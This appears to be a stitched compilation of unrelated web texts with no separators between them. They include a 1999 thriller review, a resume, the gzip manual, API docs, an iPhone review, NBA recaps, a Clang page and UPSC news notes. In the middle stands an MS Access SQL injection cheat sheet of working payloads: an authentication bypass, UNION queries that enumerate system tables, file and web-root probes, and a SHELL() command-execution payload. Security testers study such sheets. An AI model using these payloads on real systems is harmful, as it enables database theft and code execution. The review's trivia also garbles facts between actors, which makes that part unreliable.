I also enjoyed a couple of the sidebar performances by Queen Latifah (Don't laugh, she's pretty good in it) and Ed O'Neill (Al Bundy to some of you), in particular. I could have done without Michael Rooker playing the badass cop role. Michael should really start looking into stretching his talent across some characters which aren't bordering on the psychotic. Another thing that I didn't fully appreciate about this film, was the fact that the killer would purposely leave clues at each of the crime scenes. This function was to allow his pursuants a better "chance" of identifying the person, but only if they pieced together a bunch of far-fetched parts of a grand puzzle, which in my opinion, seemed a little extravagant. Having said that, this minor detriment to my enjoyment of the story didn't really seem to bother me as much as I thought it would. And for that, I praise the director's unique vision, the actors' wonderful performances, and the film's creepy feel, which in combination allowed for an entertaining film to unfold. And despite the obvious commonality to Hitchcock's REAR WINDOW (Both protagonists are incapacitated during the entire film), I did find myself feeling like I was watching a 90s version of a Hitchcock movie at times.
If you love murder mysteries, you will most likely love this movie, especially if you don't mind gory crime scenes, gruesome details about horrendous murders, and loved SEVEN and SILENCE OF THE LAMBS. And watch for this one very cool camera shot which begins on the downtown streets of New York, and pulls back real quick and up and into the room where Denzel spends all of his time in this film. Very slick!
Little Known Facts about this film and its stars: Did you know that Denzel Washington played Dr. Chandler on NBC's TV medical series "St-Elsewhere" for about six years beginning in 1982?? I sure didn't! He has four children with his wife of close to twenty years, Pauletta. He has also learned to develop a much tighter private life, after he uttered a few regrettable words during a 1993 TV interview with Barbara Walters, "Being a star and all of that, temptation is all around, it's all around, you know, and I haven't been perfect. I'll be quite candid about it." Angelina Jolie's full name is Angelina Jolie Voight. She is the daughter of famed actor Jon Voight. "Jolie" means "pretty" in French. Angelina has also appeared in several music videos, including such artists as Meatloaf, Lenny Kravitz, Antonello Venditti and The Lemonheads Queen Latifah's real name is Dana Owens. She was born in Newark, New Jersey, and also has a musical career as a rapper. Her older brother Lance Owens, who was a police officer, died in an accident on the motorcycle that Queen Latifah had bought for him as a present. She still wears the motorcycle key around her neck. Actor Michael Rooker studied the Japanese martial art of Akido before ever establishing himself in Chicago theatre. Director Phillip Noyce makes a small cameo appearance in this film. Watch for him standing inside the library when Angelina Jolie's character makes her trip there. He is standing upright and reading a book. Tall drink of water, he is. He is originally from Australia. And if you didn't think this film reminded you of SEVEN enough, director Noyce has also brought a member of that cast along for this ride as well. Actor Leland Orser, who plays the "crazed man in the massage parlour" in the earlier film, returns as a good buddy of Denzel's in this film.  What less people know about him is that he once tried out, but was cut by the NFL's Pittsburgh Steelers. He also made his uncredited feature film debut in the 1972 classic, DELIVERANCE, starring Angelina Jolie's dad, Jon Voight. Ed played the "highway patrolman". Producer Martin Bregman has produced five of Al Pacino's movies including SERPICO, DOG DAY AFTERNOON, SCARFACE, SEA OF LOVE and CARLITO'S WAY. The original music in this film comes from two sources: Craig Armstrong, who has composed music for a few other films, and Mitsou, a Quebec-based pop singer, who receives her first movie composing credit with this film. This film is based on the novel by the same title, written by Jeffrey Deaver. This film was shot in both Montreal, Canada and New York, New York.
Review Date: August 29, 1999 Director: Phillip Noyce Writer: Jeremy Iacone Producers: Michael Bregman, Michael Scott Bregman and Louis A. Stroller Actors: Denzel Washington as Lincoln Rhyme Angelina Jolie as Amelia Donaghey Genre: Thriller Year of Release: 1999 -------------------------------------- JoBlo's Movie Emporium http://www.joblo.com/ -------------------------------------- (c) 1999 Berge Garabedian
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Work Experience
Full Stack Software Developer
Hyperview
2017-Present
- Develop Ramp 4.0 which is a Data Center Infrastructure Management system (DCIM).
- Ramp 4.0 is built using Angular, .Net Core and PostgreSQL; the system is deployed on a
Docker
container.
- Increased front-end test coverage from 60% to 90% to meet our unit testing requirements.
- Participate in code review and pull request to ensure code quality.
Software Developer
SUBNET Solutions Inc.
2015-2017
- Develop new device drivers for PowerSYSTEM Center using C++ and C# best practices. PowerSYSTEM
Center is
a web
based
solution, built on top of
Microsoft SharePoint, used to manage customers’ substation devices.
- Develop new features in SubSTATION Server. SubSTATION Server is a Windows desktop application that runs in
substations gathering information from end devices.
- Refactor existing code into a RESTful interface for unit testing. The interface now has unit test
that is
ran
nightly with continuous build.
- Run nightly automated test on SUBNET Solutions’ device drivers to bring reliability from ~40% to ~90%.
- Investigated, designed and developed Siemens' device driver to control/manage Siemens' Siprotec devices.
Siemens'
device driver has been deployed at substations in Mexico, Australia, South Africa and Canada.
- Completed a project to control/manage ABB devices for an electrical company in South Africa. Also helped
service
technicians in South Africa with feature acceptance testing (FAT) and deployment.
- Completed a project to move data pulled from substation devices, using common protocols such as DNP3, Modbus
and
IEC 61850 to a database built in Microsoft SQL Server.
Software Developer Intern
SUBNET Solutions Inc.
2013-2014
- Work with other developers to maintain, enhance and test SubSTATION Server v2.x and SubSTATION Server v3.x.
- Develop new features in SubSTATION Server using C++ best practices. SubSTATION Server is a Windows
desktop
application that runs in substations gathering information from end devices.
- Completed a project to control/manage customer’s PLC device that is currently being used at customer’s
substation in California.
- Enhanced SubSTATION Server v3.x to use Windows Authorization Manager (AzMan) to manage user authorization.
- Resurrected an old project, using White library, to run nightly automated unit test against SubSTATION Server
v3.x user interface and provide daily report in the morning.


Gzip reduces the size of the named files using Lempel–Ziv coding (LZ77). Whenever possible, each file is replaced by one with the extension ‘.gz’, while keeping the same ownership modes, access and modification times. (The default extension is ‘z’ for MSDOS, OS/2 FAT and Atari.) If no files are specified or if a file name is -, the standard input is compressed to the standard output. gzip will only attempt to compress regular files. In particular, it will ignore symbolic links.
If the new file name is too long for its file system, gzip truncates it. gzip attempts to truncate only the parts of the file name longer than 3 characters. (A part is delimited by dots.) If the name consists of small parts only, the longest parts are truncated. For example, if file names are limited to 14 characters, gzip.msdos.exe is compressed to gzi.msd.exe.gz. Names are not truncated on systems which do not have a limit on file name length.
By default, gzip keeps the original file name in the compressed file. This can be useful when decompressing the file with -N if the compressed file name was truncated after a file transfer.
If the original is a regular file, gzip by default keeps its timestamp in the compressed file. This can be useful when decompressing the file with -N if the timestamp was not preserved after a file transfer. However, due to limitations in the current gzip file format, fractional seconds are discarded. Also, timestamps must fall within the range 1970-01-01 00:00:01 through 2106-02-07 06:28:15 UTC, and hosts whose operating systems use 32-bit timestamps are further restricted to timestamps no later than 2038-01-19 03:14:07 UTC. The upper bounds assume the typical case where leap seconds are ignored.
Compressed files can be restored to their original form using ‘gzip -d’ or gunzip or zcat. If the original name saved in the compressed file is not suitable for its file system, a new name is constructed from the original one to make it legal.
gunzip takes a list of files on its command line and replaces each file whose name ends with ‘.gz’, ‘.z’ ‘-gz’, ‘-z’, or ‘_z’ (ignoring case) and which begins with the correct magic number with an uncompressed file without the original extension. gunzip also recognizes the special extensions ‘.tgz’ and ‘.taz’ as shorthands for ‘.tar.gz’ and ‘.tar.Z’ respectively. When compressing, gzip uses the ‘.tgz’ extension if necessary instead of truncating a file with a ‘.tar’ extension.
gunzip can currently decompress files created by gzip, zip, compress or pack. The detection of the input format is automatic. When using the first two formats, gunzip checks a 32 bit CRC (cyclic redundancy check). For pack, gunzip checks the uncompressed length. The compress format was not designed to allow consistency checks. However gunzip is sometimes able to detect a bad ‘.Z’ file. If you get an error when uncompressing a ‘.Z’ file, do not assume that the ‘.Z’ file is correct simply because the standard uncompress does not complain. This generally means that the standard uncompress does not check its input, and happily generates garbage output. The SCO ‘compress -H’ format (LZH compression method) does not include a CRC but also allows some consistency checks.
Files created by zip can be uncompressed by gzip only if they have a single member compressed with the “deflation” method. This feature is only intended to help conversion of tar.zip files to the tar.gz format. To extract a zip file with a single member, use a command like ‘gunzip <foo.zip’ or ‘gunzip -S .zip foo.zip’. To extract zip files with several members, use unzip instead of gunzip.
zcat is identical to ‘gunzip -c’. zcat uncompresses either a list of files on the command line or its standard input and writes the uncompressed data on standard output. zcat will uncompress files that have the correct magic number whether they have a ‘.gz’ suffix or not.
gzip uses the Lempel–Ziv algorithm used in zip and PKZIP. The amount of compression obtained depends on the size of the input and the distribution of common substrings. Typically, text such as source code or English is reduced by 60–70%. Compression is generally much better than that achieved by LZW (as used in compress), Huffman coding (as used in pack), or adaptive Huffman coding (compact).
Compression is always performed, even if the compressed file is slightly larger than the original. The worst case expansion is a few bytes for the gzip file header, plus 5 bytes every 32K block, or an expansion ratio of 0.015% for large files. Note that the actual number of used disk blocks almost never increases. gzip normally preserves the mode, ownership and timestamps of files when compressing or decompressing.


Ecclesiastes 7:1
A good name is better than precious ointment; and the day of death than the day of one's birth.


Life. It’s about going places — shopping, visiting friends, trips to the doctor — but as we get older going places gets harder. Everything from walking up stairs to operating an automobile grows more difficult with age. We might turn to friends, neighbors and family members for help, but once we make the decision to stop driving it’s easy to find ourselves stranded. Life outside the driver’s seat can carry a heavy toll.
But no one should be trapped because they stop driving. ITNAmerica is dedicated to senior mobility. We ensure outliving the ability to drive safely doesn’t lead to a life of isolation. Because life is about going places, at any age.
> LEARN MORE


index
|
up
|
prev
|
next
KleeneStarParser Class
Definition at line
39
of
Composite.hpp
Constructors
KleeneStarParser
(
Parser
* child_)
Member Functions
void
Accept
(
Visitor
& visitor)
override
Match
Parse
(
Scanner
& scanner,
ObjectStack
& stack,
ParsingData
* parsingData)
override
Constructor Details
KleeneStarParser Constructor
cmajor::parsing::KleeneStarParser::KleeneStarParser(
Parser
* child_)
Definition at line
76
of
Composite.cpp
:
76
:
UnaryParser
(
U"kleene"
,
child_
,
child_
->
Info
(
)
+
U"*"
)
77
{
78
}
Declaration at line
42
of
Composite.hpp
Member Function Details
Accept Member Function
void
cmajor::parsing::KleeneStarParser::Accept(
Visitor
& visitor)
override
Definition at line
109
of
Composite.cpp
:
110
{
111
visitor
.
BeginVisit
(
*
this
)
;
112
Child
(
)
->
Accept
(
visitor
)
;
113
visitor
.
EndVisit
(
*
this
)
;
114
}
Declaration at line
44
of
Composite.hpp
Base class overridden functions:
cmajor::parsing::ParsingObject::Accept
Calls:
cmajor::parsing::ParsingObject::Accept
,
cmajor::parsing::UnaryParser::Child
,
cmajor::parsing::Visitor::BeginVisit
,
cmajor::parsing::Visitor::EndVisit
Parse Member Function
Match
cmajor::parsing::KleeneStarParser::Parse(
Scanner
& scanner,
ObjectStack
& stack,
ParsingData
* parsingData)
override
Definition at line
80
of
Composite.cpp
Declaration at line
43
of
Composite.hpp
Base class overridden functions:
cmajor::parsing::Parser::Parse
Calls:
cmajor::parsing::Match::Concatenate
,
cmajor::parsing::Match::Empty
,
cmajor::parsing::Match::Hit
,
cmajor::parsing::Parser::Parse
,
cmajor::parsing::Scanner::GetSpan
,
cmajor::parsing::Scanner::SetSpan
,
cmajor::parsing::Scanner::Skip
,
cmajor::parsing::UnaryParser::Child
index
|
up
|
prev
|
next


Toggle navigation
Welcome
Tutorials
Examples
GitHub
×
Screenshot
Download
Source code
Take screenshot
...
Explore historic hurricane paths since 1980 on an interactive map.


iPhone 3G Review
I recently got an iPhone 3G and away from all that Apple mania; I thought I would give an honest review. This is framed in the mindset of all the past Nokia devices (which I have posted about here also) which I have owned.
Okay so where to start? Well I think a good place would be what I could have bought instead. Strange place for a review; but its good to see what is out there and what I was looking at beforehand.
-
Nokia XpressMusic 5800 Nokia make great phones; I have stuck to the reliability of Symbian on their earlier phones for quite some time. I love Nokia; they mean reliability when you need your phone most - always a top feature other manufacturers never got quite right. Maybe its part inertia on my part - I can’t really say. Long story short is that this was a major competitor: over the iPhone it has expandability and a lot more hardware features (like RDS Radio), can play a lot more formats also. Downsides: Got terrible reviews for poor Symbian integration with touch; that plectrum looks downright stupid; it is not as sleek as iPhone in form factor (although it is smaller), screen didn’t seem as good to me.
-
HTC Magic Follow up to the HTC Dream or GPhone; this Android device has probably the coolest developer OS around. Lots of activity is going on around Android at the moment; so the first phones to land in the UK and Ireland should be more polished (using next gen Android: CupCake). Their is even rumors it will be adapted and put on net books: possibly making it the standard of mobile devices if given enough time. This will only bring more cool apps in time and reduce Apple’s iTunes Store lead. Downsides: Not available yet; so I couldn’t buy it. Doesn’t have as much apps yet. Isn’t as polished in the software interface as iPhone. All of these can be resolved with time however…
-
Palm Pre I hold out a lot of hope for this! Also Linux based; it promises a cool, open Web developer community as all the apps are online. Web apps need a lot more thought for offline use in my opinion, so I am reserving judgement on this. The interface seems to rock; and developing for it looks super easy… Downsides: not out yet, thus lack of Apps and pricing info.
-
Some junk WinMob Says it all really: a smart-phone but for less than a good plain old non-smartphone. Always made by some obscure Taiwanese outfit - not that is a bad thing; after-all most iPhone parts come from there. For those on a budget this was my last option; but darn cheap; just over €115 for one! I could have bought one for every member of my immediate family for the price of one iPhone: makes you think, doesn’t it?
On to the review of the iPhone:
Pros:
Beautiful Interface:
It looks amazing: lets be honest. I have never seen a phone look quite
this good.

You can forget a stylus and even the iPhone itself; but those hands are
sticking with ye!
**Time: **
I use my phone for time; Apple has it displayed elegantly, in the same
place, almost in all the phones’ screens. I love this as I can keep
myself aware of what I have to do next… All in glorious 24hr goodness,
they way time was meant to be displayed…
Lots of apps:
The App store grows bigger every day and all those little useful Apps
are really handy.
**Quick Interface: **
The software interface is very fast at getting you to where you want to
go; to that Twitter application or your Web mail etc.
Maps and Location based services:
I have seen the future: and it is the Internet that is location aware.
iPhone has taken the first tentative steps in this area with allowing
apps to use location; as well as building it into the camera and maps
applications.
Great iPod:
Apple doesn’t lie on this one. It is a great iPod. The best? I haven’t
decided yet… but it’s not far off…
Safari:
It
is the real web you get on an iPhone. Not only that: it is surprisingly
comfortable to navigate with. I haven’t seen a mobile phone device come
this close before. The N810 has a great browser with flash; but all
round Safari wins on ease of use. I heard the earlier versions were very
buggy; maybe I got in just as Safari matured properly.
Accelerometer:
Changing the view of applications as you rotate the phone was a
masterstroke. Some things just need to be viewed vertically; others
horizontally. The iPhone just makes it happen: seamlessly.. no buttons
and no fuss. Thumbs up!
SO-SO
Camera:
Not a lot to complain or praise about the camera. It does it’s job…
Their is no flash or other trickery other phones have to offer; so any
sub-optimal light and the iPhone may as well just not have a camera…
Cons:
Cost:
Its darned expensive! I bought it contract-free and to say it burned a
hole in pocket is an understatement.
One Inbox:
Nokia has this one on the button. I don’t care whether its SMS, MMS,
E-Mail or a message through telekinesis: put it in one place please…
It’s easier to check; and logically it makes more sense to not have to
visit ten apps for each. Bonus points for allowing developers to hook in
things like Twitter..
Smudgy:
It smudges and scratches like nothing I have seen. They tried to make it
too shiny; at the cost of usability. I would prefer a grippier, less
pretty surface: but I am sure I am in a minority on this. I could
probably have even been overheard muttering “Smudgy piece of ****” .
Add to any price the cost of a cover…
**Keyboard: **
Yes
I know how ugly hardware keyboards look: but they do work.  I much prefer the N810’s on-screen one that I can
use with my thumbs.  This is a major TODO
for any willing iPhone competitor…
Background Apps:
This may sound like a minor niggle: it’s not. Only apps you can run in
the background is the phone, iPod, Safari and Mail. I don’t even think
Safari and Mail are true background apps; in fact I know they aren’t:
they suspend when they are not at the forefront.
Status:
iPhone OS 3.0 is set to fix notifications; apps will be able to display
a number next to their icon. I personally don’t think that is good
enough. Is a notification area as seen on other phones (you know for
like calendar?) too much to ask? I would prefer that as the idle screen
rather than the pretty picture.
Activation:
I already feel Apple doesn’t trust me; but to force me to run around
trying to find a computer with iTunes to activate the thing (I wasn’t
near home) is just pure stupid.  Fail on this, major fail.
Rat race jailbreak:
Apple should just give up.. People are going to crack these no matter
what.  EA has it right: do the
minimal DRM for contract purposes.
Pay to release even a free app:
Its a shame Apple thought 30% markup wasn’t steep enough… But even
developer of free applications have to pay $99 to release it on the
store. It would be fine if you could get the app another way… This
just causes more junk apps to appear at a cost… If they did this on OS
X it would be suicide; why not open up the iPhone to free software?
**
**
No 3.5G:
I expect this was due to power; which is totally forgivable and
understandable. But a nice feature would be 3.5G for extra speed; I
expect this and 4G (WiMax?) will appear in later models..


Unfortunately, MS Access doesn't support typical operators that are traditionally used during SQL injection testing, including:
No comments characters
No stacked queries
No LIMIT operator
No SLEEP or BENCHMARK alike operators
and many other
AUTH
BYPASS: ' OR 1=1%00 (or " OR 1=1%00)
COMMENT: Using a null byte %00 within a SQL query results in MS Access ignoring all remaining characters.
0x16 (%16 in URL encoded format).
CONCAT: String concatenation is possible by using & (%26) and + (%2b) characters.
UNION: UNION operator is supported, but it needs a valid table name in the FROM clause.
SUBQUERY: example: ' AND (SELECT TOP 1 'someData' FROM validTableName)%00
TOP: Specify the max results that the query should return from top. example TOP 1 will return only 1 row.
MID: return extract substring, example the following statement: mid('abc',1,1) returns 'a'
LEN: len of string passed as param ' UNION SELECT LEN('1234') FROM validTableName%00 returns 4
ASC: Obtain ASCII value of a char passed as input: ' UNION SELECT ASC('A') FROM ValidTable%00 : - returns 65 (ASCII value for 'A')
CHR: Obtain char of ASCII value passed as input: ' UNION SELECT CHR(65) FROM validTableName%00
returns 'A'
IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'
LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.
GROUP: ' GROUP BY Id%00
' GROUP BY ID, SecondAttrName, ...%00
to enumerate all parameters
Unfortunately, in the default configuration of recent MS Access database releases, these tables are not accessible. Nevertheless, it is always worth trying:
MSysObjects Fields: Connect, Database, DataCreate, DataUpdate, Flags, ForeignName, Id, Lv, LxExtra
LvModule, LvProp, Name, Owner, ParentId, RmtInfoLong, RmtInfoShort, Type
MSysACEs Fields: ACM, FInheritable, ObjectId, SID
MSysAccessXML Fields: Id, LValue, ObjectGuid, ObjectName, Property, Value
MSysQueries
MSysRelationships
For example, if a union SQL injection vulnerability exists, you can use the following query to get db table names:
' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00
.mdb file within the application webroot can allow to download the entire database. Database filenames can be inferred with the following query:
http://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00
where name is the .mdb filename and table is a valid database table
Return 0 rows:
' AND 1=0 UNION SELECT AttrName1,AttrName2 FROM validTableName%00
Find web root dir:
You can find the web root directory trying to select something from an inexistent database.
MS Access will response with an error message containing the full path name :
' UNION SELECT 1 FROM ThisIsAFakeName.FakeTable%00
Verify file existence:
' UNION SELECT name FROM msysobjects IN '\boot.ini'%00 : (if file exists) an error message is obtained (it informs that the database format was not recognized).
Registry protection
It's possible to block the use of critical functions (such as SHELL(), etc ...) by setting this register key :
\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode
Its default value is 2, so by default it's impossible to use these functions: CurDIR() and Shell()
CURDIR: ' UNION SELECT CurDir(),1,1 FROM validTableName%00
SHELL: ' AND SHELL('cmd.exe /c echo owned > c:\path\name\index.html')%00


|
|
Not homed | |
|
|
Not homed | |
|
|
Not homed | |
|
|
Not homed | |
|
Before calibrate, make sure that all the joints are homed. Important: save the configuration file, if you want the calibration comes into effect. |
||
| Current | New | |
| J{{i}} - deg | 0 | |


James leads comeback as Lakers go to top of conference with win over Bulls
The Los Angeles Lakers trailed the the Chicago Bulls by 19 points in the second half until a LeBron James-inspired comeback saw them over the line.
James got 30 points, 11 assists and 10 rebounds – his third consecutive triple-double – to help seal an 118-112 win.
The Lakers have now won six straight games after losing their first of the season and sit top of the Western Conference table.
The Bulls, who for a long time looked like they might get an upset win, are second last in the Eastern Conference.
It was little consolation that Zach LaVine got 26 points, seven rebounds and seven assists.
In Cleveland, the Cavaliers were beaten 119-113 by the Boston Celtics – with 39 of the visitors’ points coming from Gordon Hayward.
The Cavaliers had few answers to the quality of Hayward as he made his first nine shots and shot 17-for-20 from the field.
Kemba Walker was also on form for Boston, scoring 25 points, including six three-pointers.
The Celtics have now won five straight and move up to third in the Eastern Conference, while the Cavaliers remain third from bottom.
In North Carolina, the Charlotte Hornets recovered from being 19 points behind to beat the Indiana Pacers 122-120 in overtime.
In regulation time, reserve point guard Devonte’ Graham gave the Hornets at two-point lead with 27 seconds left on two free throws.
But former Hornets player Jeremy Lamb drew the Pacers level with 5.2 seconds left with a 19-foot jump shot.
Overall, Graham scored a career-high 35 points, including the winning free throws.
Elsewhere, the Atlanta Hawks beat the San Antonio Spurs 108-100, the Oklahoma City Thunder won at home over the Orlando Magic 102-94, and the Denver Nuggets beat the Miami Heat 109-89.
[readmore]man[/readmore]


Instances of this class are thrown by BCEL's class file verifier "JustIce"
when a class file to verify does not pass the verification pass 2 as described
in the Java Virtual Machine specification, 2nd edition.
Create conversion operation for two stack operands, this may be an I2C, instruction, e.g.,
if the operands are basic types and CHECKCAST if they are reference types.
DUP2_X2 - Duplicate two top operand stack words and put four down
Stack: ..., word4, word3, word2, word1 -> ..., word2, word1, word4, word3, word2, word1
DUP2_X2 -
Static variable in interface org.apache.bcel.Constants
This class represents an exception handler; that is, an ObjectType
representing a subclass of java.lang.Throwable and the instruction
the handler starts off (represented by an InstructionContext).
Returns an int[] containing the indices of the local variable slots
accessed by this Subroutine (read-accessed, write-accessed or both);
local variables referenced by subroutines of this subroutine are
not included.
Returns an InstructionContext[] with all the InstructionContext instances
for the method whose control flow is represented by this ControlFlowGraph
(NOT ORDERED!)
Returns a LocalVariablesInfo object containing information
about the usage of the local variables in the Code attribute
of the said method or null if the class file this
Pass2Verifier operates on could not be pass-2-verified correctly.
Returns an int[] containing the indices of the local variable slots
accessed by this Subroutine (read-accessed, write-accessed or both);
local variables referenced by subroutines of this subroutine are
included.
InstructionFinder is a tool to search for given instructions patterns,
i.e., match sequences of instructions in an instruction list via
regular expressions.
Instances of this class are thrown by BCEL's class file verifier "JustIce" when
a class file to verify does not pass the verification pass 3 because of a violation
of a constraint that is usually only verified at run-time (pass 4).
When loading a class file, BCEL will throw an instance of LoadingException if
the class file is malformed; so it is not conforming to the "Pass 1" verification
process as described in the Java Virtual Machine specification, 2nd. edition.
A LocalVariableInfoInconsistentException instance is thrown by
the LocalVariableInfo class when it detects that the information
it holds is inconsistent; this is normally due to inconsistent
LocalVariableTable entries in the Code attribute of a certain
Method object.
The NativeVerifier class implements a main(String[] args) method that's
roughly compatible to the one in the Verifier class, but that uses the
JVM's internal verifier for its class file verification.
This package contains the "generic" part of the
Byte Code Engineering
Library, i.e., classes to dynamically modify class objects and
byte code instructions.
This package contains utility classes for the
Byte Code Engineering
Library, namely:
Collection classes for JavaClass objects
A converter for class files to HTML
A tool to find instructions patterns via regular expressions
A class to find classes as defined in the CLASSPATH
A class loader that allows to create clases at run time
This PassVerifier verifies a method of class file according to pass 3,
so-called structural verification as described in The Java Virtual Machine
Specification, 2nd edition.
Remove all NOPs from the instruction list (if possible) and update every
object refering to them, i.e., branch instructions, local variables and
exception handlers.
Instances of this class are thrown by BCEL's class file verifier "JustIce" when
a class file to verify does not pass the verification pass 3 because of a violation
of a static constraint as described in the Java Virtual Machine Specification,
2nd edition, 4.8.1, pages 133-137.
Instances of this class are thrown by BCEL's class file verifier "JustIce" when
a class file to verify does not pass the verification pass 3 because of a violation
of a static constraint as described in the Java Virtual Machine Specification,
Second edition, 4.8.1, pages 133-137.
Instances of this class are thrown by BCEL's class file verifier "JustIce" when
a class file to verify does not pass the verification pass 3 because of a violation
of a static constraint as described in the Java Virtual Machine Specification,
Second edition, 4.8.1, pages 133-137.
BCEL's Node classes (those from the classfile API that accept() Visitor
instances) have toString() methods that were not designed to be robust,
this gap is closed by this class.
Instances of this class are thrown by BCEL's class file verifier "JustIce" when
a class file to verify does not pass the verification pass 3 because of a violation
of a structural constraint as described in the Java Virtual Machine Specification,
2nd edition, 4.8.2, pages 137-139.
SWITCH - Branch depending on int value, generates either LOOKUPSWITCH or
TABLESWITCH instruction, depending on whether the match values (int[]) can be
sorted with no gaps between the numbers.
SWITCH -
Static variable in interface org.apache.bcel.Constants
Long output format:
<position in byte code>
<name of opcode> "["<opcode number>"]"
"("<length of instruction>")"
"<"<target instruction>">" "@"<branch target offset>
Instances of this class are thrown by BCEL's class file verifier "JustIce" when a
class file to verify does not pass one of the verification passes 2 or 3.
Instances of this class are thrown by BCEL's class file verifier "JustIce"
whenever
verification proves that some constraint of a class file (as stated in the
Java Virtual Machine Specification, Edition 2) is violated.


Emotional intelligence
What is Emotional Intelligence?
Emotional intelligence refers to how a person identifies and controls one's own emotions, as well as how they perceive the emotions of other people. It is measured numerically and represented as the EQ or emotional quotient.
How is it different to IQ?
IQ or Intelligence Quotient is a numerical score that measures a person's intellectual abilities such as memory, quantitative reasoning, visual and spatial processing etc. A person with a high IQ can work out the solution for a difficult mathematics problem, for instance. But that person may not necessarily have a high EQ.
Why is it important?
Emotional intelligence is important because it determines how a person relates to others. In other words how does one use their emotions for social communication and modulate those emotions based on those of others around them. In a workplace scenario, the dynamics of a team depends on each member's emotional intelligence. Every member must be able to look within themselves and identify if they are stressed so that measures can be taken to counter that, such as reducing workload by delegating tasks to others. They must also be able to engage with their teammates in an open, respectful and empathetic manner even when dealing with conflicting viewpoints.


Clang Static AnalyzerThe Clang Static Analyzer is a source code analysis tool that finds bugs in C, C++, and Objective-C programs. Currently it can be run either as a standalone tool or within Xcode. The standalone tool is invoked from the command line, and is intended to be run in tandem with a build of a codebase. The analyzer is 100% open source and is part of the Clang project. Like the rest of Clang, the analyzer is implemented as a C++ library that can be used by other tools and applications. DownloadMac OS X
Other PlatformsFor other platforms, please follow the instructions for building the analyzer from source code.
|
Viewing static analyzer results in Xcode
Viewing static analyzer results in a web browser
|
What is Static Analysis?
The term "static analysis" is conflated, but here we use it to mean a collection of algorithms and techniques used to analyze source code in order to automatically find bugs. The idea is similar in spirit to compiler warnings (which can be useful for finding coding errors) but to take that idea a step further and find bugs that are traditionally found using run-time debugging techniques such as testing.
Static analysis bug-finding tools have evolved over the last several decades from basic syntactic checkers to those that find deep bugs by reasoning about the semantics of code. The goal of the Clang Static Analyzer is to provide a industrial-quality static analysis framework for analyzing C, C++, and Objective-C programs that is freely available, extensible, and has a high quality of implementation.
Part of Clang and LLVM
As its name implies, the Clang Static Analyzer is built on top of Clang and LLVM. Strictly speaking, the analyzer is part of Clang, as Clang consists of a set of reusable C++ libraries for building powerful source-level tools. The static analysis engine used by the Clang Static Analyzer is a Clang library, and has the capability to be reused in different contexts and by different clients.
Important Points to Consider
While we believe that the static analyzer is already very useful for finding bugs, we ask you to bear in mind a few points when using it.
Work-in-Progress
The analyzer is a continuous work-in-progress. There are many planned enhancements to improve both the precision and scope of its analysis algorithms as well as the kinds of bugs it will find. While there are fundamental limitations to what static analysis can do, we have a long way to go before hitting that wall.
Slower than Compilation
Operationally, using static analysis to automatically find deep program bugs is about trading CPU time for the hardening of code. Because of the deep analysis performed by state-of-the-art static analysis tools, static analysis can be much slower than compilation.
While the Clang Static Analyzer is being designed to be as fast and light-weight as possible, please do not expect it to be as fast as compiling a program (even with optimizations enabled). Some of the algorithms needed to find bugs require in the worst case exponential time.
The Clang Static Analyzer runs in a reasonable amount of time by both bounding the amount of checking work it will do as well as using clever algorithms to reduce the amount of work it must do to find bugs.
False Positives
Static analysis is not perfect. It can falsely flag bugs in a program where the code behaves correctly. Because some code checks require more analysis precision than others, the frequency of false positives can vary widely between different checks. Our long-term goal is to have the analyzer have a low false positive rate for most code on all checks.
Please help us in this endeavor by reporting false positives. False positives cannot be addressed unless we know about them.
More Checks
Static analysis is not magic; a static analyzer can only find bugs that it has been specifically engineered to find. If there are specific kinds of bugs you would like the Clang Static Analyzer to find, please feel free to file feature requests or contribute your own patches.


NOVELTY AS REINFORCEMENT FOR CHILDREN
By Marian Monyok Wilson B.S., University of Pittsburgh, 1962
M.S., University of Pittsburgh, 1966
Submitted to the Graduate Faculty in the Faculty of the Arts and Sciences in partial fulfillment of the requirements for the degree of
Doctor of Philosophy
University of Pittsburgh
1970
Reproduced with permission of the copyright owner. Further reproduction prohibited without permission.


TABLE OF CONTENT
A. GS1 Related B. GS2 Related Polity 1. Selection of ECs must be transparent, SC tells Centre International Relations 1. India, Israel to set up $40 mn research fund 2. Pak successfully test fires short-range ballistic missile Nasr 3. Signs of a Persian gulf C. GS3 Related Economics 1. UDAY covers 97% of discom debt: Centre ENVIRONMENT AND ECOLOGY 1. Of plant species few and far between E. Concepts-in-News: Related Concepts to Revise/Learn F. Bills/Acts/Schemes/Orgs in News G. Practice Questions for UPSC Prelims Exam
UPSC Current Affairs 2017: News Analysis
A. GS1 Related
Nothing here for Today!!!
C. GS2 Related
1. Selection of ECs must be transparent, SC tells Centre
Context:
- Appointment of ECs.
- Fair, just and transparent process” for selection of ECs.
In news:
Supreme Court advice to Centre:
- Election Commissioners should be selected through the “most transparent and just process” formalised in a law enacted by Parliament.
Supreme Court observation:
- There is a “gap” caused by the lack of a parliamentary law which transparently spells out the process of appointment of an election commissioner: “Who should be shortlisted? Who shortlists these names? What is the eligibility?
- Key Fact: selection procedure of the CBI Director is formalised by a written law, but not that of Election Commissioners.
Practice at present:
- The filtering of names of suitable persons for appointment as Election Commissioners is done under the aegis of the Prime Minister and his Cabinet, who in turn advise the President.
Constitutional obligation:
Article 324. Superintendence, direction and control of elections to be vested in an Election Commission
Clause(2): The Election Commission shall consist of the Chief Election Commissioner and such number of other Election Commissioners, if any, as the President may from time to time fix and the appointment of the Chief Election Commissioner and other Election Commissioners shall, subject to the provisions of any law made in that behalf by Parliament , be made by the President
Category: INTERNATIONAL RELATIONS
1. India, Israel to set up $40 mn research fund
Context: Prime Minister Modi visit to Israel.
In news:
- India and Israel announced a strategic partnership between the two countries after a meeting between Prime Minister Narendra Modi and his Israeli counterpart Benjamin Netanyahu
- Signed seven agreements in the fields of water, agriculture, space, including a $40 million joint fund for research and development in innovation.
- Agreed to cooperate to combat the growing radicalisation and terrorism, including in cyberspace.
